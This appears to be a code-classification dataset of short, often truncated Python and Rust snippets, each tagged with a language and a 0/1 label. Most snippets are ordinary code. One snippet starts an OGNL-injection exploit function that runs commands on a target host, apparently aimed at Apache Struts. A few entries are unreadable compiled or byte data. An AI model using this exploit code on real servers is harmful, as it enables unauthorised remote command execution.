text
string
label_name
string
labels
int64
from demo_evm_uniswap import models from demo_evm_uniswap.models.position import save_position_snapshot from demo_evm_uniswap.models.token import convert_token_amount from demo_evm_uniswap.types.position_manager.evm_events.increase_liquidity import IncreaseLiquidityPayload from dipdup.context import HandlerContext from...
Python
1
import sys from haystack.dataclasses import ChatMessage from agent_fred.config import config from agent_fred.core import load_prompt, fred_api_to_documents from agent_fred.pipelines import fred_chat_pipeline if __name__ == "__main__": print("agent chat pipeline for q&a on fred api using nlp") print(f"using ...
Python
1
# 1). Userden alinan 5 cavabi bir listde sirali seklinde yerlesdirin: # Userden alinan 5 cavabi bir listde sirali seklinde yerlesdirin: # [4,1,78,99,45] >> [1,4,45,78,99] list1=[] for i in range(1,6): list1.append(input("{}-ci ededi daxil edin : ".format(i))) list1.sort() print(list1) # 2). Daxil edilmiş c...
Python
1
for dim_size in data_shape: n_params *= dim_size if old_dtype in (torch.float32, torch.bfloat16): if n_dims == 1: # one-dimensional tensors should be kept in F32 # also speeds up inference due to not dequantizing data_qtype = gguf.GGMLQ...
Python
1
param metadata: the metadata of the entity or fused entities being compiled :param space: the execution space to compile for :param types_signature: optional identifier/hash string for types of parameters :param restrict_signature: optional identifier/hash string from the views that do not alias...
Python
1
al, test-optim needs sim3.' # align test pose to refined coordinate system (up to sim3) center = torch.zeros(1, 1, 3, device=gt_poses.device) center = cam2world(center, gt_poses)[:, 0] # [B, HW, 3], [B, 3, 4] center_aligned = (center-sim3.t0)/sim3.s0@sim3.R*sim3.s1+sim3.t...
Python
1
node does not AddEventListener(&'a T, NodeIdx, Vec<&'a Attribute<ATT, EVENT, MSG>>), /// Remove attributes that the old node had that the new node doesn't RemoveEventListener(&'a T, NodeIdx, Vec<ATT>), /// Change the text of a Text node. ChangeText(NodeIdx, &'a Text), } type NodeIdx = usize; impl...
Rust
0
{}, tag_to_record: {:?}, offsets: {:?})", tag.0, self.database_name, self.tag_to_record, input ); return Err("internal aggregator error: invalid tag".into()); } let record = self.tag_to_record[tag.0]; let offset = input[record]; let md = &self.m...
Rust
0
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals # The MIT License # Copyright (c) 2017 - 2024 Tammo Ippen, tammo.ippen@posteo.de # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation fi...
Python
1
4 => " / \\\n / @ \\\n/_____\\", _ => "@", }; template.replace("@", &padded_roll) } use std::fmt; use std::iter::FromIterator; use std::ops::{ BitAnd, BitAndAssign, BitOr, BitOrAssign, BitXor, BitXorAssign, Mul, Not, Shl, Shr, Sub, }; use crate::game::position::Position; #[derive(Partia...
Rust
0
3\xdaP\x848\xac\ z\xe0\x05\x1e\xa0\x05\x8aI\x11\xcaH\x04*\x02\x9c\x83\ )Y\xe8 \x06)\x05g\x80Tk\x08G\x10R@\ \xc8lnsj\x12\x80\xec\xf1\x04\x11\x04\xe0l\xf6\x7f\ D\x16\x06z\xb0\x22\xc8A\x82\xe0L\xb6 \x83\xcb\x8e\ aB\x02\xa5\x04\x8aTD\xeaYx\xc2\x83I\x801\ \xe9\xd8\xa9\x97L\xbd\xe4\xd3\xf3f\xcf\xb9\xec\xa1\x8d\x0f\ \xfd-z\xf...
Python
1
(first_char.len_utf8()).0; //! # //! # let report = AnnotatedError::new(err_span.span(), "Expected ` `") //! # .with_annotation( //! # err_span.span(), //! # format!("Expected ` `, found `{}`.", err_span.content()), //! # ); //! # //! # return Err(...
Rust
0
import sympy import autodiff x, t, v1, v2, v3, v4 = sympy.symbols('x t v1 v2 v3 v4') f_gev_p1_density = (1/v3)*((1+v4*((x-v1-v2*t)/v3))**(-1/v4-1))*sympy.exp(-((1+v4*(x-v1-v2*t)/v3)**(-1/v4))) f_gev_p1_cdf = sympy.exp(-((1+v4*(x-v1-v2*t)/v3)**(-1/v4))) f_gev_p1_log_density = -sympy.log(v3)-(1+1/v4)*sympy.log(1+v4*(x-...
Python
1
='#2196F3', width=2) # 显示单位(小字体) self.h_ruler.create_text(preview_width-4, 7, text='mm', anchor='e', font=('Arial', 6), fill='#808080') self.v_ruler.create_text(7, preview_height-4, text='mm', anchor='s', ...
Python
1
Tta-c--SFyOv9Kl3Q9Jjw // Then f(z) = sum(fi * Li(z)) = (z^n -1)/n sum(fi * li(z)) // To avoid inversions when computing li(z) we instead compute li_inv = (z-w^i)/w^i = z/w^i - 1 = z * w_inv^i - 1 // using n multiplications to accumulate z * w_inv^i and then perform batch inversion. // Batch inversion costs 1 inv + 3n m...
Rust
0
fn create_merged_piece( sentences: String, identification: &'static str, headers: WarcHeaders, ) -> MergedPiece { let nb_sentences = sentences.split("\n").count(); MergedPiece { sentences, identification, headers, nb_sentences, ...
Rust
0
of straight up using `EventPump` /// since it is not `Send` & so can't be used directly in a specs `System` pub struct EventQueue { queue: VecDeque<Event>, } impl EventQueue { pub fn new() -> EventQueue { EventQueue { queue: VecDeque::new(), } } pub fn reset(&mut self) { ...
Rust
0
ripheral_access_1::W](sensitive_apb_peripheral_access_1::W) writer structure"] impl crate::Writable for SENSITIVE_APB_PERIPHERAL_ACCESS_1 {} #[doc = "SENSITIVE_APB_PERIPHERAL_ACCESS_1"] pub mod sensitive_apb_peripheral_access_1; #[doc = "SENSITIVE_INTERNAL_SRAM_USAGE_0\n\nThis register you can [`read`](crate::generic::...
Rust
0
{}].' .format( type(self.gcp_user_access_binding).__name__, ', '.join(unrecognized_fields), ', '.join(valid_fields), ), ) def _ValidateAllFieldsRecognized(self, message): """Validates that all fields in the message are recognized. Args: ...
Python
1
state) { (&XGPUConvFwdConfig::Cudnn(ref cfg), &mut XGPUConvState::Cudnn(ref mut state)) => { let mut stream = conn.cuda_stream(); let mut cudnn_h = conn.cudnn(); assert!(cudnn_h.set_stream(&mut stream).is_ok()); let alpha: <CudnnHandle as CudnnConvExt<WTy, XTy, YTy>>::HostScalar =...
Rust
0
rap(); let is_lock_col = index_coordinate[2].unwrap() == 1; let is_lock_row = index_coordinate[3].unwrap() == 1; col_num = adjustment_remove_coordinate(&col_num, root_col_num, offset_col_num); row_num = adjustment_remove_coordinate(&row_num, root_row_num, offset_row_num);...
Rust
0
'length': 13.70198643769922, 'radius': 8.439327773297176, 'curvature': 27.40397287539844, 'curvature_level': 4}, # Straight segments { 'start': [44.0000, -73.0013], ...
Python
1
e undefined in which case it's just a default material gfx_material = MeshPhongMaterial(color=x.main_color / 255) default_mat = getattr(trimesh.visual.color, "DEFAULT_MAT", None) if default_mat is None: default_mat = x.defaults # trimesh < 4.6.3 gfx_material.shininess = def...
Python
1
times = [] for i in range(frames): curr = i / frames * (len(c2ws) - 1) times.append(curr) # interpolation generation rots_inter = slerp(times).as_matrix() x_inter = lerp_x(times) y_inter = lerp_y(times) z_inter = lerp_z(times) # pose c2ws_inter = [] for i in ran...
Python
1
that. pub trait Inspectable { /// The `Attributes` associated type specifies what attributes can be passed to a field. /// See the following snippet for an example: /// ```rust,no_run /// # use bevy_inspector_egui::{egui, Inspectable, Context}; /// struct MyCustomType; /// # #[derive(Default)] ...
Rust
0
{ self.bit() } #[doc = r" Value of the field as raw bits"] #[inline] pub fn bit(&self) -> bool { match *self { ENA_SCLR::WHEN_THIS_BIT_IS_CLE => false, ENA_SCLR::WHEN_THIS_BIT_IS_SET => true, } } #[allow(missing_docs)] #[doc(hidden)] #[inli...
Rust
0
, new_pt) # print('new_pt', new_pt.shape, new_pt) new_pts[i] = new_pt[0:2] return new_pts def trans_points3d(pts, M): scale = np.sqrt(M[0][0] * M[0][0] + M[0][1] * M[0][1]) # print(scale) new_pts = np.zeros(shape=pts.shape, dtype=np.float32) for i in range(pts.shape[0]): p...
Python
1
declared in blocks inside this function (multiple with same name /// possible). The index into this vector serves as an identification for the local pub locals: Vec<Spanned<&'a str>>, /// Upvalues referenced by this function. Collected while resolving. pub upvalues: Vec<UpvalDesc>, } /// Something tha...
Rust
0
#!/usr/bin/env python3 """ Generate a sample HyperEVM NFT collection with detailed traits """ import sys sys.path.append('.') from hyperevm_nft_generator import HyperEVMNFTGenerator import json def main(): generator = HyperEVMNFTGenerator() print("Creating sample HyperEVM NFT collection with 10 detailed ...
Python
1
intro/string/escape-simple-back-slash"); test!(escape_simple_carriage_return, "literal-intro/string/escape-simple-carriage-return"); test!(escape_simple_double_quote, "literal-intro/string/escape-simple-double-quote"); test!(escape_simple_new_line, "literal-intro/string/e...
Rust
0
before_model_callback=research_agent_before_model_callback ) research_output_keys.append(f"research_agent_{topic_id}") # 关键:设置父级Agent,ADK框架需要这个来构建Agent树 new_research_agent.parent_agent = self dynamic_sub_agents.append(new_research_agent) ctx.s...
Python
1
; use rand::Rng; use std::ops::Range; const ADJECTIVE: &[&str] = &[ "jobless", "rightful", "breakable", "impartial", "shocking", "faded", "phobic", "overt", "like", "wide-eyed", "broad", ]; const NOUN: &[&str] = &[ "territory", "jam", "neck", "chicken", ...
Rust
0
#!/usr/bin/env python3 """ Upload Children's Stories Dataset to Hugging Face Hub This script provides a simple interface to upload your children's stories to Hugging Face Hub as a dataset in JSONL format. Usage: python upload_to_huggingface.py --repo-name "your-username/children-stories-dataset" Environment Vari...
Python
1
::Arc, }; use chrono::Utc; use dotenv::dotenv; use rand::random; #[macro_use] pub mod utils; pub mod keys; use keys::*; mod commands; use commands::fun::fun_main::*; use commands::fun::pokemon::*; use commands::general::*; use commands::meta::*; use commands::moderator::*; use commands::music::lastfm::*; use comm...
Rust
0
$struct_name { f, xs: CachedIterator::new(xs), x_to_ys: HashMap::new(), i: $index_ctor, data, } } }; } exhaustive_dependent_pairs!( ExhaustiveDependentPairsInfiniteLog, exhaustive_dependent_pairs_infinite_lo...
Rust
0
logger.info("Too much requests, sleeping for 1 second") time.sleep(1) synopsis = fetch_episode_synopsis(ep["url"]) ep["synopsis"] = synopsis time.sleep(0.1) # Avoid hitting API too fast episodes.extend(data["data"]) if not data.get("pagination"...
Python
1
DefaultServer => lst.default_server = true, Ssl => lst.ssl = true, Ext(ext) => lst.ext = Some(ext), ProxyProtocol => lst.proxy_protocol = true, SetFib(v) => lst.setfib = Some(v), FastOpen(v) => lst.fastopen = Some(v), ...
Rust
0
y_pred, hidden = self.forward(X) # Note: model returns batched output, so remove singleton batch dimension y_pred = y_pred.squeeze(0) # Pick next token based on output distribution probabilities = torch.nn.functional.softmax(y_pred, dim=0) index = torch.multin...
Python
1
.html#DISABLED_REASON_APP_CHANGED) pub const DISABLED_REASON_APP_CHANGED : i32 = 2; /// public static final [DISABLED_REASON_BACKUP_NOT_SUPPORTED](https://developer.android.com/reference/android/content/pm/ShortcutInfo.html#DISABLED_REASON_BACKUP_NOT_SUPPORTED) pub const DISABLED_REASON_BACKUP_...
Rust
0
from functools import reduce from typing import List from unittest import TestCase, main class Solution: def encode(self, strs): return self.encode_with_base64(strs) def decode(self, str): return self.decode_with_base64(str) CSV_DELIMITER = ',' # solve_1. ASCII """ Runtime: ...
Python
1
ps.unsorted_segment_sum( hessians64, mapped_partitions, array_ops.size(unique_partitions)) per_partition_gradients = math_ops.cast(per_partition_gradients, dtypes.float32) per_partition_hessians = math_ops.cast(per_partition_hessians, ...
Python
1
); assert_eq!(gst.hour, 4); assert_eq!(gst.min, 40); assert_approx_eq!( gst.sec, // 5.229576759185761 5.23, 1e-3 ); } #[test] fn ut_from_gst_works() { let gst = DateTime { year: 1980, month: Month::Apr, ...
Rust
0
callback.forget(); } { // on close let buffer = resource.ws_to_event_channel_receiver.buffer().clone(); let onclose_callback = Closure::wrap(Box::new(move |_| { buffer .lock() .expect("aquire lock") ...
Rust
0
")] #[cfg_attr(test, assert_instr(fcvtps))] #[stable(feature = "neon_intrinsics", since = "1.59.0")] pub unsafe fn vcvtps_s32_f32(a: f32) -> i32 { #[allow(improper_ctypes)] extern "unadjusted" { #[cfg_attr(target_arch = "aarch64", link_name = "llvm.aarch64.neon.fcvtps.i32.f32")] fn vcvtps_s32_f3...
Rust
0
&mut decoration_rng, position.offset(dir::Up).unwrap_or(position), ) .unwrap(); } } for dispatcher in &decorators { dispatcher.generate(&mut quad, &mut decoration_rng).unwrap(); } } } /*for x in 0..31 { println!("{}", x); for z in 0..31 { let x_part = (x as i64).wrappin...
Rust
0
vec!["b"].into(), CheckUse::Storage { type_: fsys::StorageType::Meta, storage_relation: None }, )); } /// a /// \ /// b /// \ /// c /// /// a: offers directory /data to b as /minfs, but a is non-executable /// b: has storage decl with name "mystorage" with a source of realm at ...
Rust
0
st RNG = CKF_RNG; const WRITE_PROTECTED = CKF_WRITE_PROTECTED; const LOGIN_REQUIRED = CKF_LOGIN_REQUIRED; const USER_PIN_INITIALIZED = CKF_USER_PIN_INITIALIZED; const RESTORE_KEY_NOT_NEEDED = CKF_RESTORE_KEY_NOT_NEEDED; const CLOCK_ON_TOKEN = CKF_CLOCK_ON_TOKEN; const PRO...
Rust
0
, 5, 5, 5, 5 )); // set prices into storage let account_1 = get_account_1(); for i in 0..3 { let price = i as u128 + 100_u128; add_price_storage(price, 0, account_1, 2); } Oracle::on_initialize(2); let price = Price { price: 101, block: 2 }; assert_eq!(Oracle::prices(0), price); //...
Rust
0
NATIONALITY = "GHANAIAN" MENTAL_STATE = "SOUND" LEGAL_AGE = 18 age = int(input("Enter age: ")) nationality = input("Enter nationality: ") mental_state = input("Enter mental state: ") if age >= LEGAL_AGE and nationality.upper() == NATIONALITY and mental_state.upper() == MENTAL_STATE: print("You are eligible to vot...
Python
1
x.into_iter().collect::<String>() }) .collect::<Vec<String>>(); let weight = if whole_portion.is_empty() { -(decimal_portion.len() as i16) } else { whole_portion.len() as i16 - 1 }; let all_groups = whole_portion .into_iter() ...
Rust
0
from langchain_community.document_loaders.docugami import ( DocugamiLoader, ) __all__ = [ "DocugamiLoader", ]
Python
1
assert_eq!( name_list(b"\x00\x00\x00\x09zlib,none"), Ok(ParsedValue { value: vec!["zlib", "none"], rest_input: &[], }) ); assert_eq!( name_list(b"\x00\x00\x00\x09a,b,c,d,e"), Ok(ParsedValue { valu...
Rust
0
#!/usr/bin/python # -*- coding: utf-8 -*- # hook-s3c (github.com/hook-s3c), @hook_s3c on twitter import sys import urllib import urllib2 import httplib def exploit(host,cmd): print "[Execute]: {}".format(cmd) ognl_payload = "${" ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)." og...
Python
1
tocol(path) else: path = [self._strip_protocol(p) for p in path] paths = self.expand_path(path, recursive=recursive, maxdepth=maxdepth) for p in reversed(paths): if self.isfile(p): self.rm_file(p) # If the expanded path doesn't exist, it is onl...
Python
1
Rwt objectTypeRyt objectCountt objectHandlesRRR((s0/home/priest-king/Desktop/PepperMovement/vrep.pyRDs * c Cs0|dkr"tjd|}nd}|dkrJtjd|} nd} tj} tj} tjddkrt|tk...
Python
1
import os, sys import json, re import enum, time import requests import random import base64 class Nolib: burl = 'http://127.0.0.1:5003' interval = 30 def __init__(self): self.results = {} self.last_fetch_time = -1 return def getPage(self, pageno): if time.time() - s...
Python
1
# _*_ coding: utf-8 _*_ """ Created by Allen7D on 2020/6/15. ↓↓↓ 操作日志接口 ↓↓↓ """ from app.extensions.api_docs.redprint import Redprint from app.extensions.api_docs.cms import oper_log as api_doc from app.core.token_auth import auth from app.core.utils import paginate, time_interval from app.core.db import db from ap...
Python
1
ew( template_config: TemplateConfig, project_dir: &Path, ) -> Result<Self, failure::Error> { let mut include_builder = GitignoreBuilder::new(project_dir); for rule in template_config.include.clone().unwrap_or_else(Vec::new) { include_builder.add_line(None, &rule)?; ...
Rust
0
fiability(&[]).is_ok()); // bad witnesses *circuit.witness_mut(z_split_vars.vars.1) += F::one(); assert!(circuit.check_circuit_satisfiability(&[]).is_err()); *circuit.witness_mut(z_split_vars.vars.1) -= F::one(); *circuit.witness_mut(z_split_vars.vars.1) += p...
Rust
0
slation files into .mo files." ) parser.add_argument( "locales", nargs="*", default=[], help="Locale codes to process (default: all locales)", ) parser.add_argument( "-f", "--force", action="store_true", help="Force recompilation of all .mo...
Python
1
# 1512 from collections import defaultdict def numIdenticalPairs(nums: list[int]) -> int: """ Time complexity: O(n) because we iterate through all values of the array(every operation taking place inside runs in constant time) Space complexity: O(n) - in the case where all values in the array are unique th...
Python
1
@require_python39_or_higher @require_torch_2 def test_inpaint_compile(self): pass
Python
1
num_paths=args.num_paths, output_beam_size=args.output_beam_size) recog_path = exp_dir / f'recogs-{test_set}.txt' store_transcripts(path=recog_path, texts=results) logging.info(f'The transcripts are stored in {recog_path}') # The follo...
Python
1
import smart_imports smart_imports.all() class UrlsTests(utils_testcase.TestCase): def setUp(self): super(UrlsTests, self).setUp() def test_modify_url__no_query(self): self.assertEqual(utils_urls.modify_url('www.example.com', query=()), 'www.example.com') self.assertEqual(utils_url...
Python
1
0x4015 | 0x4017 => { // TODO: implement APU registers warn!("Read from an APU register at {:04X}", address); 0 }, JOY1_ADDRESS => emulator.joypad.read(), 0x4018 ..= 0x5fff => { // TODO: implement expansion ROM warn!("Read from expansion ROM at {:04X}", address); 0 }, MAPPER_START ..= MAPPER...
Rust
0
Control_button.grid(row=0, column=0, padx=20,pady = (5,5),sticky="news") Config_button = customtkinter.CTkButton( Top_frame,text="Run", width= 50,fg_color ="#313838", font = customtkinter.CTkFont(size=15, family='TkDefaultFont'),command=Run) Config_button.grid(row=0, column=1, padx=20,pady = (...
Python
1
::new(); masm.load_mem(Int8, R1.into(), Mem::Base(R3, 3)); assert_emit!(i1, i2; masm); } #[test] fn test_load_mem_index_ptr() { let i1 = asm::movz(1, R9, 1, 0); let i2 = asm::add_reg(1, R9, R9, R10); let i3 = asm::ldrx_ind(R1, R9, R11, LdStExtend::LSL, 1); l...
Rust
0
= Id::from(id); let arg = self.get_arg(&id)?; assert_utf8_validation(arg, &id); let v = GroupedValues { iter: arg .vals() .map(|g| g.iter().map(|x| x.to_str().expect(INVALID_UTF8)).collect()), len: arg.vals().len(), }; Some...
Rust
0
src/main.rs pub mod protocol; pub mod server; use server::Server; fn main() -> std::io::Result<()> { let address = "127.0.0.1:19135".parse().unwrap(); let mut server = Server::new(address)?; server.run()?; Ok(()) } <filename>src/crypto/aes256.rs // Copyright (c) 2016-2017 <NAME> <<EMAIL>> // // Lice...
Rust
0
such, as Rust by defaults drop members // top to bottom as opposed as in C++ where it is bottom to top pub struct PhysicsHandler { default_material: Owner<PxMaterial>, pub physx_scene: Owner<PxScene>, physx_cooking: Owner<PxCooking>, pub raw_ptr_holder: RawPtrHolder, pub physx_foundation: PhysicsFo...
Rust
0
from autoslug import AutoSlugField from cloudinary.models import CloudinaryField from taggit.managers import TaggableManager from customers.models import Customer, User from django.db import models from django.urls import reverse from django.utils import timezone from model.common_fields import BaseModel class Categ...
Python
1
::new(Mutex::new(0)), current_snapshot, } } /// Create a new `MemStore` instance with some existing state (for testing). #[cfg(test)] pub fn new_with_state( id: NodeId, log: BTreeMap<u64, Entry<ClientRequest>>, sm: MemStoreStateMachine, hs: Option<Har...
Rust
0
# Copyright 2024 Bytedance Ltd. and/or its affiliates # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
Python
1
self, v: ::std::vec::Vec<i64>) { self.sfixed64_field = v; } // Mutable pointer to the field. pub fn mut_sfixed64_field(&'a mut self) -> &'a mut ::std::vec::Vec<i64> { &mut self.sfixed64_field } pub fn get_sfixed64_field(&'a self) -> &'a [i64] { self.sfixed64_field.as_slice(...
Rust
0
r MyStruct<'a> { type Output = u64; fn subscribe(&mut self, t : Box<Subscriber<Input=<Self as Publisher>::Output> + 'a>) { // Not obvious, but there is an implicit lifetime here -------^ //~^^ ERROR cannot infer // // The fact that `Publisher` is using an implicit lifetime is ...
Rust
0
class MarshmallowSQLAlchemyError(Exception): """Base exception class from which all exceptions related to marshmallow-sqlalchemy inherit. """ class ModelConversionError(MarshmallowSQLAlchemyError): """Raised when an error occurs in converting a SQLAlchemy construct to a marshmallow object. """...
Python
1
if m: l = iters[m.group('graphId')] if l and l[-1] != 1: print('Iteration {} stopped while it is not running'.format(m.group('graphId'))) l.append(2) return iters def check_part_nodes(path): nodes = defaultdict(list) # Node 1 ...
Python
1
)? .parse() .map_err(|err| format!("unable to parse IP address: {}", err))?; let cidr = { let cidr = cidr.try_bytes_utf8_lossy()?; IpCidr::from_str(cidr).map_err(|err| format!("unable to parse CIDR: {}", err))? }; Ok(cidr.contains(value).into()) } #[derive(Clone, Copy, Debu...
Rust
0
import os from jinja2 import Environment, FileSystemLoader import stat from pathlib import Path from typing import Union from log.logger import get_logger as logger from typing import Optional class ConnectionConfig: LOGGER = logger("connection_config") def __init__( self, keys_dir: Optional...
Python
1
quote! { impl #impl_generics #struct_name #ty_generics #where_clauses { #(#fields_expanded)* } } } } fn get_fields<'a>(chk: &Checker, fields: &'a Fields) -> Vec<Field<'a>> { match &fields { Fields::Named(fields) => { fields.named.iter() ...
Rust
0
Foo<'a> { type Item; fn consume<F>(self, f: F) where F: Fn(Self::Item); } struct Consume<A>(PhantomData<A>); impl<'a, A:'a> Foo<'a> for Consume<A> { type Item = &'a A; fn consume<F>(self, _f: F) where F: Fn(Self::Item) { if blackbox() { _f(any()); // Gotta keep this (1.) }...
Rust
0
from common import common import logging from logging.handlers import TimedRotatingFileHandler import datetime import os def getLogger(name, logFilePath): logger = logging.getLogger(name) formatter = logging.Formatter("%(asctime)s - %(levelname)s:%(name)s - %(message)s") config_ini = common.getConfigFile...
Python
1
############################################################################## # # Copyright (c) 2006-2010 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THI...
Python
1
left_paren), parser(token_right_paren), parser(term)) .or(parser(term_val)) .or(parser(term_var)) .or(parser(term_app)) .or(parser(term_abs)) .parse_state(input) } #[test] fn test_term_val_int() { let result = parser(term).parse("42"); assert_eq!(result, Result::Ok((Term::val(42 as i64), ""...
Rust
0
urve: CubicCurve, t: f64) -> (CubicCurve, CubicCurve) { let t = t.max(0.0).min(1.0); subdivide(curve, t) } // Determines the intersection point of the line defined by points A and B with the // line defined by points C and D. // // Returns YES if the intersection point was found, and stores that point in X,...
Rust
0
# Copyright Materialize, Inc. and contributors. All rights reserved. # # Use of this software is governed by the Business Source License # included in the LICENSE file at the root of this repository. # # As of the Change Date specified in that file, in accordance with # the Business Source License, use of this software...
Python
1
tonic::transport::Error), /// Error from tonic::codegen::http::uri::InvalidUri #[cfg(feature = "tonic")] #[error("invalid URI {0}")] InvalidUri(#[from] tonic::codegen::http::uri::InvalidUri), /// Error from tonic::Status #[cfg(feature = "tonic")] #[error("status error {0}")] Status(#[f...
Rust
0
unreachable!("{:?}", lane_layout.ty), }; CValue::by_val(res_lane, ret_lane_layout) }, ); }, } macro simd_int_flt_binop { ($fx:expr, $op:ident|$op_f:ident($x:ident, $y:ident) -> $ret:ident) => { simd_int_flt_binop!($fx, $op|$op|$op_f($x, $y) -> $ret);...
Rust
0
use state_root::StateRoot; pub use tari_dan_payload::{CheckpointData, TariDanPayload}; pub use tree_node_hash::TreeNodeHash; pub use view::View; pub use view_id::ViewId; // TODO: encapsulate pub struct InstructionCaller { pub owner_token_id: TokenId, } impl InstructionCaller { pub fn _owner_token_id(&self) -...
Rust
0
a_convs, str): # Extra_convs_source choices: 'on_input', 'on_lateral', 'on_output' assert add_extra_convs in ('on_input', 'on_lateral', 'on_output') elif add_extra_convs: # True if extra_convs_on_inputs: # TODO: deprecate `extra_convs_on_inputs` ...
Python
1
# =============================================================================== # # # # This file has been generated automatically!! Do not change this manually! # # ...
Python
1
100:9092"] # image_output_topic = "mulhim-image-response" # video_frame_output_topic = "mulhim-video-response" # plotted_video_topic = "plotted-video-url" # api_route_image = "http://10.100.160.103:8001/insert" # api_route_video = "http://10.100.160.103:8001/video" # api_route_satelite = "http:/...
Python
1
fer>, out_ciphertext: FfiOptMutPtr<McMutableBuffer>, out_error: FfiOptMutPtr<FfiOptOwnedPtr<McError>>, ) -> ssize_t { ffi_boundary_with_error(out_error, || { let ciphertext_len = Aes256Gcm::ciphertext_len(plaintext.len()); if let Some(out_ciphertext) = out_ciphertext.into_option() { ...
Rust
0
.field("ttl", &self.ttl) .finish() } } impl TimedLease { pub async fn new(id: i64, ttl: i64, mut client: LeaseClient) -> Result<Self, StoreError> { let (keeper, response_stream) = client .keep_alive(id) .await .context(LeaseKeepAlive { lease: id })?; ...
Rust
0
let mut timer = request_timer; timer.set_label( LABEL_STATUS, match &response { Err(err) => err.into(), Ok(_) => OK_LABEL, }, ); response }) } } struct BrokenConnectionBit...
Rust
0
0 else 0 # If returns are provided, calculate portfolio-relevant metrics if returns is not None: returns_array = np.asarray(returns) if len(returns_array) == len(predictions): metrics.update(self._calculate_portfolio_metrics(predictions, actuals, returns_array))...
Python
1
from server import app if __name__ == "__main__": app.run(debug=True)
Python
1
import pytest import networkx as nx class TestIntersectionGraph: def test_random_intersection_graph(self): G = nx.uniform_random_intersection_graph(10, 5, 0.5) assert len(G) == 10 def test_k_random_intersection_graph(self): G = nx.k_random_intersection_graph(10, 5, 2) assert ...
Python
1
werCfg(eye=(-0.25, -0.3, 0.5), lookat=(0.6, 0, 0), asset_name="viewer") ViewportCameraController(env, viewer) else: raise ValueError( f"Invalid device interface '{args_cli.teleop_device}'. Supported: 'keyboard', 'spacemouse''handtracking'." ) # add teleoperation key for env ...
Python
1
id_hex) .await .map_err(warp::reject::custom)? .ok_or_else(warp::reject::not_found) } #[derive(Deserialize)] pub struct GetBlockNextIdQuery { count: Option<u32>, } pub async fn get_block_next_id( block_id_hex: String, query: GetBlockNextIdQuery, context: ContextLock, ) -> Resul...
Rust
0